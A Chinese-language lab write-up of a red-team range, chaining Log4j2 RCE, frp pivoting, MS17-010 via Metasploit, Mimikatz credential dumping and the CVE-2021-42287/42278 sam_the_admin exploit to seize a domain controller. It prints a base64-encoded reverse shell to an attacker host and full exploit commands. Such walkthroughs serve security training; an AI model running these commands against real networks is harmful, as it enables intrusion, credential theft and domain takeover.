从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC
靶机信息
实验过程
靶机信息
文章最后附靶机下载地址解压密码:[email protected]
外网服务器:ubantu16
ip:192.168.0.251
user:saul
pass:Saul123
# 重启后,需要手动重新启动 Docker 容器
sudo docker start cc4ddedd1727
域控:
hostname:AD
user : Administrator
pass : Admin123456
域个人机器
hostname:win7
本地用户:hong:密码空
域账户:redteam/root:Red12345
实验过程
先探测内网存活主机
sudo arp-scan --interface eth0 192.168.0.1/24
这里 192.168.0.129 就是Ubuntu的系统
然后对Ubuntu系统进行常规的端口扫描
# -Pn:跳过ping扫描,因为Nmap扫描前会进行Ping,如果目标系统禁Ping,则Nmap 如果ping不通则会跳过扫描
# 禁止DNS反向解析,如果单纯扫描一段IP,该选项可以大幅度减少目标主机响应时间
# -sT:TCP连接扫描,不安全,慢。建议用 -sT SYN扫描,使用最频繁,安全,快
nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.129
开了22和38080端口
发现是springboot,尝试使用最新爆出的CVE-2021-44228,尝试看看能不能获得dnslog
目前存在log4j2漏洞的组件
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
此处,Ubuntu出现了点问题无法出外网
这里我就用JNDIScan来不出网检测
有反应说明存在漏洞
那么下面开始反弹shell
下面开始反弹shell,这里需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all
# JNDI-Injection-Exploit-1.0-SNAPSHOT-all下载地址
https://github.com/Zard-ethan/JNDI-Injection-Exploit-1.0-SNAPSHOT-all
EXP如下
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}" -A "攻击机的地址"
我的Kali(192.168.0.128),我的语句如下
bash -i >& /dev/tcp/192.168.0.128/8888 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4Lzg4ODggMD4mMQ==
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.128"
这里我们选用这种没有要求的语句
Kali先开启监听
然后执行EXP
发现当前环境是docker环境
然后在root目录下发现flag
同时发现root的账号密码
saul Saul123
探测的时候发现其开放22端口,尝试登录SSH
通过ifconfig发现其存在2张网卡
10.0.1.6(内网),192.168.0.129(外网)
在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bash 和 python 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershell,bat、vbs 化,尽量不要过于依赖外部工具。
这里我们用bash来探测内网存活主机
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
发现还有1台10.0.1.6的主机
为了方便后续操作,后面我们通过frp将流量带出来
我在Kali上编辑frps.ini
[common]
bind_addr = 192.168.0.128
bind_port = 7000
然后在Ubuntu上编辑frpc.ini
[common]
server_addr = 192.168.0.128
server_port = 7000
[msf]
type = tcp
remote_port = 1088
plugin = socks5
这里我们将Kali的1088端口作为进入内网的端口,只要流量通过Kali的1088端口就可以达到Ubuntu从而进入内网
先开启Kali上的frps,然后在开启ubuntu上的frpc
然后我们开启msf
# 设置代理和允许反向连接
setg Proxies socks5:192.168.0.128:1088
setg ReverseAllowProxy true
然后我们扫描下10.0.1.7是否开启了smb服务
use auxiliary/scanner/smb/smb_version
set RhOSTS 10.0.1.7
run
可以看到10.0.1.7开启了smb服务,并且还存在域REDTEAM
然后我们进一步探测是否存在MS17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 10.0.1.7
run
可以看到10.0.1.7存在MS17-010漏洞
那么我们就用MS17-010漏洞来获取权限
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.0.1.7
run
发现利用失败,因为默认使用的是reverse_tcp
可能由于目标出不来网,所以我们这边尝试用正向的bind,让Kali主动连过去
set payload windows/x64/meterpreter/bind_tcp
run
查看系统信息发现存在域环境
查看当前的权限
可以看到已经是system最高权限,如果是Administrator权限可以通过getsystem命令尝试自动提权
这里先将Win7的密码通过Mimikatz抓出来
抓到一个明文账号密码,这里需要注意的是,如果win7是重新启动没有进行登录过的话系统里面是不会存有用户登录的凭据的,所以这里需要在win7系统上对root账号进行登录一次
账号:root
密码:Red12345
通过meterpreter拿到一个shell
并更改编码方式,防止乱码
meterpreter > shell
C:\Windows\system32>chcp 65001
发现win7还有一张网卡
接下来定位域控
一般域用户都会从域控返回当前时间,可以以此来找到域控
C:\Windows\system32>net time /domain
net time /domain
Current time at \\DC.redteam.lab is 2022/4/23 22:46:32
The command completed successfully.
C:\Windows\system32>ping DC
ping DC
Pinging dc.redteam.lab [10.0.0.12] with 32 bytes of data:
Reply from 10.0.0.12: bytes=32 time<1ms TTL=128
Reply from 10.0.0.12: bytes=32 time<1ms TTL=128
Reply from 10.0.0.12: bytes=32 time<1ms TTL=128
也可以用下面的命令来寻找域控主机
net group "domain controllers" /domain
可以看到域控主机IP为10.0.0.12
这里尝试使用最近爆出的两个域内内核漏洞:
CVE-2021-42287、CVE-2021-42278
将刚刚的会话先放到后台
使用MSF添加一个Socks
然后返回刚刚的会话添加路由信息
再次将bg会话放到后台,在msf主解密打印下路由也可以看到我们刚刚添加的路由信息
然后我们需要借助proxychains来将所有关于10.0.0.12/24的流量通过这个会话送到内网里面去
注意这里需要socks5类型
然后执行EXP(https://github.com/WazeHell/sam-the-admin)
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
然后就能getshell
感谢红队攻防实验室提供的安全靶场!
https://pan.baidu.com/s/1lNV2y7-hpID_qfUGq7Zc1Q
提取码: 7w65